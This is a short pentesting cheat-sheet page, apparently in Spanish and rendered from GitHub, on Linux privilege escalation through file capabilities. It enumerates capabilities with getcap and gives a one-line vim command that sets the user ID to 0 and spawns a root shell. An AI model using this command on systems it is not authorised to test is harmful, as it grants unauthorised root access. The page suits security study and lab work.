Skip to content

Latest commit

 

History

History
19 lines (14 loc) · 360 Bytes

File metadata and controls

19 lines (14 loc) · 360 Bytes

Capabilities

Capabilities

{% code overflow="wrap" %}

getcap -r / 2>/dev/null   #Enumera capabilities

# Luego, buscar en GTFOBins cómo explotar la capability

{% endcode %}

Ejemplo vim capability

{% code overflow="wrap" %}

./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

{% endcode %}